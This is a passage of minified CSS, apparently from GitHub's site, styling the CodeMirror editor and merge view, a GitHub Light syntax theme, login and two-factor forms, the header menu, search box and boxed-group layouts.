div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), 